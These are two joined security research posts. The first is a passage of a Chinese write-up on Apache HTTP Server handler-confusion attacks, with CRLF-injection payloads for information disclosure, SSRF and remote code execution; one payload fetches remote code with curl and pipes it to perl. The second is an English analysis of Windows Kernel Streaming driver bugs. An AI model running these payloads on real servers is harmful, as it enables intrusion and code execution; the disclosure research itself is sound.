最後一個要介紹的攻擊是 Handler 上的 Confusion。 這個攻擊同樣也利用了一個 Apache HTTP Server 從上古時期架構所遺留下來的技術債。這裡透過一個例子來讓讀者快速的了解這個技術債 —— 如果今天想在 Httpd 上運行經典的 mod_php,下面兩個語法設定你覺得哪個才是正確的?

AddHandler application/x-httpd-php .php
AddType    application/x-httpd-php .php

答案是 —— 兩個都可以正確地讓 PHP 運行起來! 這裡分別是兩個設定的語法格式,可以看到兩個設定不僅用法、參數類似,現在連效果都一模一樣,為什麼 Apache HTTP Server 當初要設計兩個不同的語法?

AddHandlerhandler-nameextension [extension] ...
AddTypemedia-typeextension [extension] ...

實際上 handler-name以及 media-type在 Httpd 的內部結構中代表著不同的欄位,分別對應到 r->handler以及 r->content_type。 而使用者可以在沒有感知的情況下使用則歸功於一段從 1996 年 Apache HTTP Server 開發初期就遺留到現在的程式碼

Path: server/config.c#L420

AP_CORE_DECLARE(int)ap_invoke_handler(request_rec*r){// [...]if(!r->handler){if(r->content_type){handler=r->content_type;if((p=ap_strchr_c(handler,';'))!=NULL){char*new_handler=(char*)apr_pmemdup(r->pool,handler,p-handler+1);char*p2=new_handler+(p-handler);handler=new_handler;/* exclude media type arguments */while(p2>handler&&p2[-1]=='')--p2;/* strip trailing spaces */*p2='\0';}}else{handler=AP_DEFAULT_HANDLER_NAME;}r->handler=handler;}result=ap_run_handler(r);

可以看到在進入主要的模組處理器 ap_run_handler()之前,如果請求中的 r->handler為空則把結構中 r->content_type欄位的內容當成最終將被使用的模組處理器。 這也就是為什麼 AddType以及 AddHandler效果一致的主要理由,因為 media-type最終在執行前還是會被轉換成 handler-name。 我們的第三個 Handler Confusion 主要也就是圍繞在這個行為所發展出來的攻擊。


⚔️ Primitive 3-1. Overwrite the Handler

在理解這個轉換機制後首先第一個攻擊手法是 —— Overwrite the Handler,想像一下如果今天目標的 Apache HTTP Server 透過 AddType將 PHP 運行起來。

AddType application/x-httpd-php  .php

在正常的流程中瀏覽 http://server/config.php。 首先,mod_mime會在 type_checker階段根據 AddType所設定的附檔名將相對應的內容複製到 r->content_type中,由於 r->handler在整個 HTTP 生命週期中並無賦值,於是在執行模組處理器前 ap_invoke_handler()會將 r->content_type當成模組處理器,最終呼叫 mod_php處理請求。

然而如果今天有任何模組在執行到 ap_invoke_handler()前「不小心」把 r->content_type覆寫掉了,那會發生什麼事呢?

✔️ 3-1-1. Overwrite Handler to Disclose PHP Source Code

因此這個攻擊手法的第一個利用就是透過這個「不小心」去洩漏任意 PHP 的原始碼。 這個技術最早是由 Max Dmitriev 在 ZeroNights 2021 所發表的研究中提及 (kudos to him!),演講主題及投影片可以從這邊看到:

Apache 0day bug, which still nobody knows of, and which was fixed accidentally

Max Dmitriev 觀察到只要送出錯誤的 Content-Length,遠端 Httpd 伺服器會發生不明的錯誤順帶回傳 PHP 的原始碼,在細追流程後發現其成因是 ModSecurity 在使用 APR (Apache Portable Runtime) 函示庫時並未好好的處理 AP_FILTER_ERROR回傳值所導致的 double response。 由於發生錯誤時 Httpd 想送出一些 HTML 錯誤訊息,於是 r->content_type也順便被覆寫成 text/html

由於 ModSecurity 並未妥善的處理回傳值使得本該停止的 Httpd 內部流程繼續執行,而這個「副作用」又會把原本加上的 Content-Type給覆寫掉,導致最終該被當成 PHP 的檔案被當成一般文件處理並將其中的程式碼及敏感設定印出。 🤫

$ curl -v http://127.0.0.1/info.php -H"Content-Length: x"> HTTP/1.1 400 Bad Request
> Date: Mon, 29 Jul 2024 05:32:23 GMT
> Server: Apache/2.4.41 (Ubuntu)> Content-Type: text/html;charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title>
...
<?php phpinfo();?>

理論上所有基於 Content-Type的設定語法都容易遭受此類問題影響,所以除了 Max 在投影片中所展示的 php-cgi搭配 mod_actions外,純粹的 mod_php搭配上 AddType也同樣也受影響。

另外值得一提的是,這個副作用在 Apache HTTP Server 版本 2.4.44 時被當成一個增進請求解析器的程式錯誤被更正,於是這個「漏洞」就被當成已修復直到我重新撿起它。 但由於其根本成因還是 ModSecurity 並未好好的處理錯誤,只要找到其它條觸發 AP_FILTER_ERROR的路徑那同樣的行為還是可以重現成功。

P.S. 此問題已於 6/20 透過官方信箱回報給 ModSecurity 並由 Project Co-Leader 建議回到原 GitHub Issue中討論。

✔️ 3-1-2. Overwrite Handler to ██████ ███████ ██████

基於前面提到的 double response行為以及副作用,這個攻擊手法還可以完成其它更酷的利用,不過由於此問題尚未完全修復,更進一步的利用方式,將於修復完成後再揭露。


⚔️ Primitive 3-2. Invoke Arbitrary Handlers

仔細思考前面 Overwrite Handler 攻擊手法,雖然是因為 ModSecurity 並未好好的處理錯誤,導致請求被設置上錯誤的 Content-Type。 但再深入的探究其根本原因應該是 —— Apache HTTP Server 在使用 r->content_type時,其實無從辨別它的語意,這個欄位既可以是在請求階段被語法設定好的值,也可以是回應階段伺服器回傳 Content-Type標頭的內容。

所以理論上如果能控制伺服器回應中 Content-Type標頭的內容,那就可以透過那段從開發初期遺留至今的程式碼呼叫任意的模組處理器,這也是 Handler Confusion 的最後一個攻擊手法 —— 呼叫任意 Apache HTTP Server 的內部模組處理器

但這裡還有最後的一塊拼圖必須填上,在 Httpd 中所有可以從伺服器回應修改到 r->content_type的地方全都發生在那段遺留程式碼之後,就算修改到該欄位的內容,此時 HTTP 生命週期也進入尾聲,無法再做更進一步的利用…… 嗎?

我們找了 RFC 3875來當救援投手! RFC 3875 是一個關於 CGI 的規範,其中 6.2.2. 節定義了一個 Local Redirect Response 行為:

The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

簡單來說規範了 CGI 在特定條件下必須使用伺服器端的資源去處理轉址,仔細檢視 mod_cgi對於這個規範的實作會發現:

Path: modules/generators/mod_cgi.c#L983

if((ret=ap_scan_script_header_err_brigade_ex(r,bb,sbuf,// <------ [1]APLOG_MODULE_INDEX))){ret=log_script(r,conf,ret,dbuf,sbuf,bb,script_err);// [...]if(ret==HTTP_NOT_MODIFIED){r->status=ret;returnOK;}returnret;}location=apr_table_get(r->headers_out,"Location");if(location&&r->status==200){// [...]}if(location&&location[0]=='/'&&r->status==200){// <------ [2]/* This redirect needs to be a GET no matter what the original
         * method was.
         */r->method="GET";r->method_number=M_GET;/* We already read the message body (if any), so don't allow
         * the redirected request to think it has one.  We can ignore
         * Transfer-Encoding, since we used REQUEST_CHUNKED_ERROR.
         */apr_table_unset(r->headers_in,"Content-Length");ap_internal_redirect_handler(location,r);// <------ [3]returnOK;}

首先 mod_cgi會先執行[1] CGI 並掃描其輸出結果並設置上相對應的 Status以及 Content-Type,如果[2]回傳的 Status是 200 以及 Location標頭欄位是 /開頭則把這個回應當成一個伺服器端的轉址並開始處理[3]。 再仔細審視 ap_internal_redirect_handler()的實作會發現:

Path: modules/http/http_request.c#L800

AP_DECLARE(void)ap_internal_redirect_handler(constchar*new_uri,request_rec*r){intaccess_status;request_rec*new=internal_internal_redirect(new_uri,r);// <------ [1]/* ap_die was already called, if an error occured */if(!new){return;}if(r->handler)ap_set_content_type(new,r->content_type);// <------ [2]access_status=ap_process_request_internal(new);// <------ [3]if(access_status==OK){access_status=ap_invoke_handler(new);// <------ [4]}ap_die(access_status,new);}

Httpd 首先創建[1]了一個新的請求結構並將當前的 r->content_type[2]進去,在處[3]完生命週期後呼叫[4]ap_invoke_handler()—— 也就是前面提及包含歷史遺留轉換的地方,所以在伺服器端轉址中,如果可以控制回應標頭,就可以在 Httpd 中呼叫任意的模組處理器。基本上所有 Apache HTTP Server 中的 CGI 系列實作都遵守這個行為,這裡是一個簡單的列表:

  • mod_cgi
  • mod_cgid
  • mod_wsgi
  • mod_uwsgi
  • mod_fastcgi
  • mod_perl
  • mod_asis
  • mod_fcgid
  • mod_proxy_scgi

至於如何在真實情境中觸發這個伺服器轉址呢? 由於至少需要控制 HTTP 回應中 Content-Type及部分 Location,這裡給出兩個情境以供參考:

  1. 位於 CGI 回應標頭中的 CRLF Injection,透過換行去覆寫已存在的 HTTP 標頭
  2. 可完整控制回應標頭的 SSRF,例如託管在 mod_wsgi上的 django-revproxy專案

接下來的範例都基於這個不安全的 CRLF Injection 來做示範:

#!/usr/bin/perl useCGI;my$q=CGI->new;my$redir=$q->param("r");if($redir=~m{^https?://}){print"Location: $redir\n";}print"Content-Type: text/html\n\n";
✔️ 3-2-1. Arbitrary Handler to Information Disclosure

首先是從任意模組處理器呼叫到資訊洩漏,這裡使用了 Httpd 內建的 server-status模組處理器,這個模組處理器通常只被允許從本機存取:

<Location /server-status>
SetHandler server-status
    Require local
</Location>

在擁有任意模組處理器呼叫後,可以透過複寫 Content-Type去存取原本存取不到的敏感資訊:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

✔️ 3-2-2. Arbitrary Handler to Misinterpret Scripts

當然也能輕鬆的把一張圖片轉化成 PHP 後門,例如當使用者上傳了一個擁有合法副檔名的檔案後,可以透過這個攻擊手法指定特定模組 mod_php去執行檔案內嵌的惡意程式碼,例如:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/uploads/avatar.webp %0d%0a
Content-Type:application/x-httpd-php %0d%0a
%0d%0a

✔️ 3-2-2. Arbitrary Handler to Full SSRF

呼叫 mod_proxy存取任何協議以及任意網址當然也不在話下,例如:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://example.com/%3f %0d%0a
%0d%0a

另外這也是一個可以完整控制 HTTP 請求還有取得所有 HTTP 回應的 SSRF! 稍微可惜的一點是在存取 Cloud Metadata 時會被 mod_proxy會自動加上 X-Forwarded-For標頭導致被 EC2 及 GCP 的 Metadata 保護機制阻擋,否則這會是一個更強大的攻擊手法。

✔️ 3-2-3. Arbitrary Handler to Access Local Unix Domain Socket

然而 mod_proxy提供了一個更「方便」的功能 —— 可以存取本地的 Unix Domain Socket! 😉

這裡展示透過存取 PHP-FPM 本地的 Unix Domain Socket 去執行位於 /tmp/下的 PHP 後門:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

這個手法理論上還存在著更多的可能性,例如協議走私 (在 HTTP/HTTPS 協議間走私 FastCGI 😏) 或其它易受影響的 Local Sockets 等,這都交給有興趣的人繼續研究了。

✔️ 3-2-4. Arbitrary Handler to RCE

最後來展示一下如何透過一個常見的 CTF 小技巧把這個攻擊手法轉化成 RCE! 由於 PHP 官方的 Docker 映像檔在建構時引入了 PEAR 這套命令列 PHP 套件管理工具,透過其中的 Pearcmd.php作為入口點可以讓我們達成更進一步的利用,詳細的歷史及原理可以參考由 Phith0n撰寫的 Docker PHP LFI 總結文

這裡我們利用在 run-tests內的 Command Injection 來完成整個攻擊鏈,詳細的攻擊鏈如下:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

網路上經常在 Security Advisory 或 Bug Bounty 看到把 CRLF Injection 或 Header Injection 當成 XSS 報告,雖然確實有機會透過 SSO 串出 Account Takeover 等精彩漏洞,但請不要忘了它也能串出 Server-Side RCE,這個示範證明了它的可能!


🔥 4. 其它漏洞

基本上整個 Confusion Attacks 系列到這邊差不多告一個段落,然而在研究 Apache HTTP Server 的過程中還有些值得一提的漏洞因此將它們獨立出來。


⚔️ CVE-2024-38472 - 基於 Windows UNC 的 SSRF

首先是 apr_filepath_merge()函數在 Windows 的實作允許使用 UNC 路徑,下面提供兩種不同的觸發路徑讓攻擊者可以向任意主機發起 NTLM 認證:

✔️ 透過 HTTP 請求解析器觸發

想要直接透過 HTTP 請求觸發需要在 Httpd 中設置額外的設定,雖然這個設定第一眼看起來有點不現實,但似乎經常與 Tomcat (mod_jkmod_proxy_ajp) 或是與 PATH_INFO一起出現:

AllowEncodedSlashesOn

另外由於 Httpd 在 2.4.49 後重寫了核心 HTTP 請求解析器邏輯,要在大於此版本的 Httpd 上觸發漏洞需要再額外加上一個設定:

AllowEncodedSlashesOn
MergeSlashes Off

透過兩個 %5C可以使強迫 Httpd 向 attacker-server發起 NTLM 認證,實務上也可透過 NTLM Relay的方式將此 SSRF 轉化成 RCE!

$ curl http://server/%5C%5Cattacker-server/path/to

✔️ 透過 Type-Map 觸發

Debian/Ubuntu 的 Httpd 發行版中預設啟用了 Type-Map:

AddHandler type-map var

透過上傳一個 .var檔案到伺服器,將其中 URI 欄位指定成 UNC 路徑也可強迫伺服器向攻擊者發起 NTLM 認證,這也是我所提出的第二個 .var小技巧😉


⚔️ CVE-2024-39573 - 基於 RewriteRule前綴可完全控制的 SSRF

最後則是當位於 Server Config或是 VirtualHost中的 RewriteRule前綴完全可控時,可以呼叫到 Proxy 以及相關子模組:

RewriteRule ^/broken(.*) $1

透過下列網址可將請求轉交給 mod_proxy處理:

$ curl http://server/brokenproxy:unix:/run/[...]|http://path/to

但如果網管有好好測試,就會發現這樣子的規則是不實際的,所以原本只把它當成另外一個漏洞的搭配組合一起回報,沒想到這個行為也被當成一個安全邊界修復。 再隨著修補出來後也看到其他研究員把同樣行為套用在 Windows UNC 上獲得另外一個額外的 CVE。


未來研究方向

最後是關於這份研究的未來的一些展望以及可加強的地方,基本上 Confusion Attacks 仍然是一個很有潛力的攻擊面,尤其是我這次的研究主要也只專注在兩個欄位上而已,只要 Apache HTTP Server 沒有好好從底層進行結構性加強或提供給開發者一個好的開發標準,相信未來還會有更多「混淆」出現!

至於還有哪些方面可以加強呢? 其實不同的 Httpd 發行版會有不同的設定檔案,因此其它的 Unix-Like 系統例如 RHEL 家族、BSD 系列,甚至使用到 Httpd 的套裝軟體,它們都有機會出現更多可跳脫的重寫規則、更多厲害的 Local Gadgets 甚至意料外的符號跳躍等等 ,就交給有興趣的人繼續吧。

最後由於時程因素,來不及分享更多在實際網站、設備,甚至開源專案上發現並利用的真實案例,不過你應該已經可以想像 —— 在真實世界中絕對還藏著千千萬萬個比想像中還要大量未開採的規則、可繞過的認證,以及隱藏在檯面下的 CGI,至於如何把這篇裡面所講到的技巧實際應用在全世界上? 接下來就是你們的任務了!


結語

維護一個 Open Source 專案真的是一件很困難的事,尤其在讓使用者方便的同時兼顧舊版本的相容性,稍有不慎可能就會造成整個系統被攻破 (例如 Httpd 2.4.49 中因為一個路徑處理邏輯小改動導致災難性的 CVE-2021-41773),整個開發過程必須要小心翼翼的踩在一堆遺留程式碼以及技術債上。 所以如果真的有 Apache HTTP Server 的開發者看到這篇文我想說: 謝謝你們的貢獻!

Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part I

$
0
0

English Version, 中文版本

Over the past few decades, vulnerabilities in the Windows Kernel have emerged frequently. The popular attack surface has gradually shifted from Win32k to CLFS (Common Log File System). Microsoft has continuously patched these vulnerabilities, making these targets increasingly secure. However, which component might become the next attack target? Last year, MSKSSRV (Microsoft Kernel Streaming Service) became a popular target for hackers. However, this driver is tiny and can be analyzed in just a few days. Does this mean there might not be new vulnerabilities?

This research will discuss an overlooked attack surface that allowed us to find more than ten vulnerabilities within two months. Additionally, we will delve into a proxy-based logical vulnerability type that allows us to bypass most validations, enabling us to successfully exploit Windows 11 in Pwn2Own Vancouver 2024.

(This research will be divided into several parts, each discussing different bug classes and vulnerabilities. This research was also presented at HITCON CMT 2024.)

Start from MSKSSRV

For vulnerability research, looking at historical vulnerabilities is indispensable.

Initially, we aimed to challenge Windows 11 in Pwn2Own Vancouver 2024. Therefore, we began by reviewing past Pwn2Own events and recent in-the-wild Windows vulnerabilities, searching for potential attack surfaces. Historical trends show that Win32K, primarily responsible for handling GDI-related operations, has always been a popular target, with numerous vulnerabilities still emerging. Since 2018, CLFS (Common Log File System) has also gradually become a popular target. Both components are extremely complex, suggesting that there are likely still many vulnerabilities. However, becoming familiar with these components requires significant time, and many researchers are already examining them. Therefore, we did not choose to analyze them first.

Last year, after Synacktiv successfully exploited a vulnerability in MSKSSRV to compromise Windows 11 during Pwn2Own 2023, many researchers began to focus on this component. Shortly thereafter, a second vulnerability ,CVE-2023-36802, was discovered. At this time, chompie also published an excellent blog post detailing this vulnerability and its exploitation techniques. Given that this component is very small, with a file size of approximately 72 KB, it might only take a few days of careful examination to fully understand it. Therefore, we chose MSKSSRV for historical vulnerability analysis, with the hopeful prospect of identifying other vulnerabilities.

We will briefly discuss these two vulnerabilities but not go into much detail.

CVE-2023-29360 - logical vulnerability

The first one is the vulnerability used by Synacktiv in Pwn2Own Vancouver 2023.

This is a logical vulnerability in the MSKSSRV driver. When MSKSSRV uses MmProbeAndLockPages to lock user-specified memory address as framebuffer, the AccessMode was not set correctly. This leads to a failure to check whether the user-specified address belongs to the user space. If the user provides a kernel address, it will map the specified kernel address to user space for the user to use. Ultimately, this allows the user to write data to any address in the kernel. The exploitation is simple and very stable, making it become one of the most popular vulnerabilities.

For more details, please refer to Synacktiv’s presentation at HITB 2023 HKT and Nicolas Zilio(@Big5_sec)‘s blog post.

CVE-2023-36802 - type confusion

This vulnerability was discovered shortly after CVE-2023-29360 was released. It was already being exploited when Microsoft released their patches. This is a very easily discovered vulnerability. It uses the objects (FSContextReg, FSStreamReg) stored in FILE_OBJECT->FsContext2 for subsequent processing. However, there is no check on the type of FsContext2, leading to type confusion. For detailed information, you can refer to the IBM X-Force blog, which provides a very thorough explanation.

Since then, there have been very few vulnerabilities related to MSKSSRV. Due to its relatively small size, MSKSSRV is quickly reviewed, and gradually, fewer and fewer people pay attention to it.

But is that the end of it ?

However, does this mean there are no more vulnerabilities?

In fact, the entire Kernel Streaming looks like the diagram below:

MSKSSRV is just the tip of the iceberg. In fact, there are many other potential components, and those listed in the diagram above are all part of Kernel Streaming. After delving into this attack surface, numerous vulnerabilities were eventually discovered, flowing like a stream.

By the way, while I was writing this blog, chompie also published about the vulnerability she used in this year’s Pwn2Own Vancouver 2024, CVE-2024-30089, which is also a vulnerability in MSKSSRV. The vulnerability lies in handling the reference count, requiring a lot of attention and thought to discover. It is also quite interesting, but I won’t discuss it here. I highly recommend reading this one.

Brief overview of Kernel Streaming

So, what is Kernel Streaming? In fact, we use it very frequently.

On Windows systems, when we open the webcam, enable sound, and activate audio devices such as microphones, the system needs to write or read related data such as your voice and captured images from your devices into RAM. It is essential to read data into your computer more efficiently during this process. Microsoft provides a framework called Kernel Streaming to handle these data, which primarily operates in kernel mode. It features low latency, excellent scalability, and a unified interface, making handling streaming data more convenient and efficient.

In Microsoft’s Kernel Streaming, three multimedia class driver models are provided: port class, AVStream, and stream class. We will briefly introduce port class and AVStream, as stream class is less common and more outdated and will not be discussed here.

Port class

This type of driver is mostly used for PCI and DMA-based audio device hardware drivers. Currently, most audio-related processing, such as volume control or microphone-related processing, falls into this category. The main component library used would be portcls.sys.

AVStream

AVStream is a multimedia driver provided by Microsoft that primarily supports video-only and integrated audio/video streaming. Currently, most video-related processing, such as your webcam, capture card, etc., is associated with this category.

In fact, the use of Kernel Streaming is also very complex. We will only provide a brief description. For more detailed information, please refer to Microsoft Learn.

Interact with device

When we want to interact with audio devices or webcams, we need to open the device just like with any other device. Essentially, it interacts with the device driver in the same way. So, what would the names of these types of devices be? These names are not typically like \Device\NamedPipe, but rather something like the following:

\\?\hdaudio#subfunc_01&ven_8086&dev_2812&nid_0001&subsys_00000000&rev_1000#6&2f1f346a&0&0002&0000001d#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\ehdmiouttopo

Enumerate device

Here you can use APIs such as SetupDiGetClassDevs to enumerate devices. Generally, KS series devices are registered under KSCATEGORY*, such as audio devices which are registered under KSCATEGORY_AUDIO.

Additionally, you can use the APIs provided by KS, such as KsOpenDefaultDevice, to obtain the handle of the first matching PnP device in that category. Actually, it is just a wrapper around SetupDiGetClassDevs and CreateFile.

hr=KsOpenDefaultDevice(KSCATEGORY_VIDEO_CAMERA,GENERIC_READ|GENERIC_WRITE,&g_hDevice)

Kernel Streaming object

After we open these devices, Kernel Streaming will create some Kernel Streaming related instances, the most important of which are KS Filters and KS Pins.

These will be used during the Kernel Streaming process. We will only provide a brief introduction here. We will use audio filters as an example, as most others are quite similar.

KS filters

Each KS Filter typically represents a device or a specific function of a device. When we open an audio device, it usually corresponds to a KS filter object. When we read data from the audio device, this data is first processed through this KS Filter.

Conceptually, as shown in the diagram below, the large box in the middle represents a KS filter for the audio device. When we want to read data from the audio device, it is read into the filter from the left, processed through several nodes, and then output from the right.

(From: https://learn.microsoft.com/en-us/windows-hardware/drivers/audio/audio-filters)

KS pins

In the figure above, the points for reading and outputting data are called pins. The kernel also has corresponding KS pin Objects to describe the Pins, recording whether the Pin is a sink or a source, the data format for input and output, and so on. When we use it, we must open a pin on the filters to create an instance to read from or write to the device.

KS property

Each of these KS objects will have its own property, and each property corresponds to a specific feature. For instance, the data format mentioned earlier in the Pin, the volume level, and the status of the device are all properties. These properties typically correspond to a set of GUIDs. We can set these properties through IOCTL_KS_PROPERTY.

This greatly simplifies the development of multimedia drivers and ensures consistency and scalability across different devices.

Read streams from webcam

Here is a simple example illustrating how an application can read data from a webcam.

The most basic flow is roughly shown in this diagram:

  1. Open the device to obtain the device handle.
  2. Use this device handle to create an instance of the Pin on this filter and obtain the Pin handle.
  3. Use IOCTL_KS_PROPERTY to set the device state of the Pin to RUN.
  4. Finally, you can use IOCTL_KS_READ_STREAM to read data from this Pin.

Kernel Streaming architecture

For vulnerability research, we must first understand its architecture and consider the potential attack surfaces.

After gaining a preliminary understanding of the functionalities and operations of Kernel Streaming, we need to understand the architecture to find vulnerabilities. It’s crucial to know how Windows implements these functions and what components are involved. This way, we can identify which sys files to analyze and where to start.

After our analysis, the overall architecture looks approximately like this diagram:

In the Kernel Streaming components, the most important ones are ksthunk.sys and ks.sys. Almost all functionalities are related to them.

ksthunk (Kernel Streaming WOW Thunk Service Driver)

ksthunk.sys is the entry point in Kernel Streaming. Its function is quite simple: it converts 32-bit requests from the WoW64 process into 64-bit requests, allowing the underlying driver to handle the requests without additional processing for 32-bit structures.

ks (Kernel Connection and Streaming Architecture Library)

ks.sys is one of the core components of Kernel Streaming. It is the library of Kernel Streaming responsible for forwarding requests such as IOCTL_KS_PROPERTY to the corresponding device driver, and it also handles functions related to AVStream.

The work flow of IOCTL_KS_*

IOCTL_KS_PROPERTY will be used as an example here. When calling DeviceIoControl, as shown in the figure below, the user’s request will be sequentially passed to the corresponding driver for processing.

At step 6, ks.sys will determine which driver and handler to hand over your request based on the KSPROPERTY you requested.

Finally, forward it to the corresponding driver, as shown in the figure above, where it is ultimately forwarded to the handler in portcls to operate the audio device.

You should now have a preliminary understanding of the architecture and process of Kernel Streaming. Next, it’s time to look for vulnerabilities.

Based on the existing elements, which attack surfaces are worth examining?

From attacker’s view

 Before digging for vulnerabilities, if you can carefully consider under what circumstances they are likely to occur, you can achieve twice the result with half the effort.

From a vulnerability researcher’s perspective, there are a few key points to consider:

1. Property handler in each device

KS object for each device has its own properties, and each property has its own handler. Some properties are prone to issues during handling.

2. ks and ksthunk

ks and ksthunk have not had vulnerabilities for a long time, but they are the most accessible entry points and might be good targets. The last vulnerabilities(CVE-2020-16889 and CVE-2020-17045) were found in 2020 by @nghiadt1098.

3. Each driver handles a part of the content

In some functionalities of Kernel Streaming, certain drivers handle parts of the input individually, which may lead to inconsistencies.

After reviewing Kernel Streaming from the above perspectives, we quickly identified several relatively easy-to-discover vulnerabilities.

  • portcls.sys
    • CVE-2024-38055 (out-of-bounds read when set dataformat for Pin)
    • CVE-2024-38056
  • ksthunk
    • CVE-2024-38054 (out-of-bounds write)
    • CVE-2024-38057

However, we will not be explaining these vulnerabilities one by one. Most of these are obvious issues such as unchecked length or index leading to out-of-bounds access. @Fr0st1706 also wrote an exploit for CVE-2024-38054 recently. We might slowly explain these in subsequent parts in the future. We will leave this for the readers to study for now.

During the review process, we discovered some interesting things. Do you think the following code snippet is really fine?

__int64 __fastcall CKSThunkDevice::CheckIrpForStackAdjustmentNative(__int64 a1, struct _IRP *irp, __int64 a3, int *a4)
{

    if ( irp->RequestorMode )
    {
        v14 = 0xC0000010;
    }
    else
    {
        UserBuffer = (unsigned int *)irp->UserBuffer;
        ...
        v14 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, __int64 *))    (Type3InputBuffer + 0x38))(// call Type3InputBuffer+0x38
                *UserBuffer,
                0LL,
               v19);
    }
}

Seeing this code reminds me of CVE-2024-21338. Initially, the vulnerability had no checks, but after patching, ExGetPreviousMode was added. However, the check here uses the RequestorMode in IRP for validation. Generally, the RequestorMode from a user-called IOCTL will be UserMode(1), so there shouldn’t be any issues.

At this point, I also recall James Forshaw’s article Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager.

The overlooked bug class

First, we need to mention a few terms and concepts. If you are already familiar with Previous Mode and RequestorMode, you can skip to A logical bug class section.

PreviousMode

The first one is PreviousMode. In an Application, if a user operates on a device or file through Nt* System Service Call, upon entering the kernel, it will be marked as UserMode(1) in _ETHREAD’s PreviousMode, indicating that this System Service Call is from the user. Conversely, if it is called from kernel mode, such as a device driver invoking the Zw* System Service Call, it will be marked as KernelMode(2).

RequestorMode

Another similar field is the RequestorMode in the IRP. This field records whether your original request came from UserMode or KernelMode. In kernel driver code, this is a very commonly used field, typically derived from PreviousMode.

It is often used to decide whether to perform additional checks on user requests, such as Memory Access Check or Security Access Check. In the example below, if the request comes from UserMode, it will check the user-provided address. If it comes from the Kernel, no additional checks are performed to increase efficiency.

But in reality, this has also led to some issues.

A logical bug class

James Forshaw’s Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager mentions a type of Bug Class.

What would happen if a user calls a System Service Call like NtDeviceIoControlFile, and then the driver handling it uses user-controllable data as parameters for ZwOpenFile?

After the driver calls ZwOpenFile, PreviousMode will switch to KernelMode, and when it uses NtOpenFile processing, most checks will be skipped due to PreviousMode being KernelMode. Subsequently, Irp->RequestorMode will become KernelMode, bypassing the Security Access Check and Memory Access Check. However, this largely depends on how the subsequent driver implements these checks. There might be issues if it relies solely on RequestorMode to decide whether to perform checks The actual situation is slightly more complex and related to the flags of CreateFile. For details, refer to the following articles:

These studies mainly focused on the Zw* series of System Service Call. Are there other similar situations that could also cause this kind of logical vulnerability?

The new bug pattern

Actually, it is possible. When the device driver uses IoBuildDeviceIoControlRequest to create a DeviceIoControl IRP, it is easy to encounter such issues if not careful. This API is primarily used by kernel drivers to call IOCTL, and it helps you build the IRP. Subsequently, calling IofCallDriver allows you to call IOCTL within the kernel driver. On Microsoft Learn, there is a particular passage worth noting.

By default, if you do not explicitly set the RequestorMode, it will directly call IOCTL with KernelMode.

Following this approach, we revisited Kernel Streaming and discovered an intriguing aspect.

The function where IoBuildDeviceIoControlRequest is used in Kernel Streaming is in ks!KsSynchronousIoControlDevice and it obviously involves calling IOCTL in the kernel using the aforementioned method. However, it appears that Irp->RequestorMode is properly set here, and different values are assigned based on the parameters of KsSynchronousIoControlDevice. This will be a convenient library for kernel streaming driver developers.

However…

ks!CKsPin::GetState

ks!SerializePropertySet

ks!UnserializePropertySet

We found that in Kernel Streaming, all functions using KsSynchronousIoControlDevice consistently use KernelMode(0). At this point, we can carefully inspect whether the places it is used have any security issues. Therefore, we convert the bug pattern in Kernel Streaming into the following points:

  1. Utilized KsSynchronousIoControlDevice
  2. Controllable InputBuffer & OutputBuffer
  3. The second processing of IOCTL relies on RequestorMode for security checks

Following this pattern, we quickly found the first vulnerability.

The vulnerability & exploitation

CVE-2024-35250

This vulnerability is also the one we used in Pwn2Own Vancouver 2024. In the IOCTL_KS_PROPERTY of Kernel Streaming, to increase efficiency, KSPROPERTY_TYPE_SERIALIZESET and KSPROPERTY_TYPE_UNSERIALIZESET requests are provided to allow users to operate on multiple properties through a single call. These types of requests will be broken down into multiple calls by the KsPropertyHandler. For more details, refer to this one.

It is implemented in ks.sys

When handling property in ks.sys, if the KSPROPERTY_TYPE_UNSERIALIZESET flag is provided, ks!UnserializePropertySet will handle your request.

Let’s take a look at UnserializePropertySet.

unsigned__int64__fastcallUnserializePropertySet(PIRPirp,KSIDENTIFIER*UserProvideProperty,KSPROPERTY_SET*propertyset_){...New_KsProperty_req=ExAllocatePoolWithTag(NonPagedPoolNx,InSize,0x7070534Bu);...memmove(New_KsProperty_req,CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer,InSize);//------[1] ...status=KsSynchronousIoControlDevice(CurrentStackLocation->FileObject,0,CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode,New_KsProperty_req,InSize,OutBuffer,OutSize,&BytesReturned);//-----------[2]...}

You can see that during the processing, the original request is first copied into a newly allocated buffer at [1]. Subsequently, this buffer is used to call the new IOCTL using KsSynchronousIoControlDevice at [2]. Both New_KsProperty_req and OutBuffer are contents provided by the user.

The flow when calling UnserializePropertySet is roughly as illustrated below:

When calling IOCTL, as shown in step 2 of the diagram, the I/O Manager will set Irp->RequestorMode to UserMode(1). Until step 6, it will check if the requested property by the user exists in the KS object. If the property exists in the KS object and is set with KSPROPERTY_TYPE_UNSERIALIZESET, UnserializePropertySet will be used to handle the specified property.

Next, in step 7, KsSynchronousIoControlDevice will be used to perform the IOCTL again. At this point, the new Irp->RequestorMode will become KernelMode(0), and the subsequent processing will be the same as a typical IOCTL_KS_PROPERTY. This part will not be elaborated further.

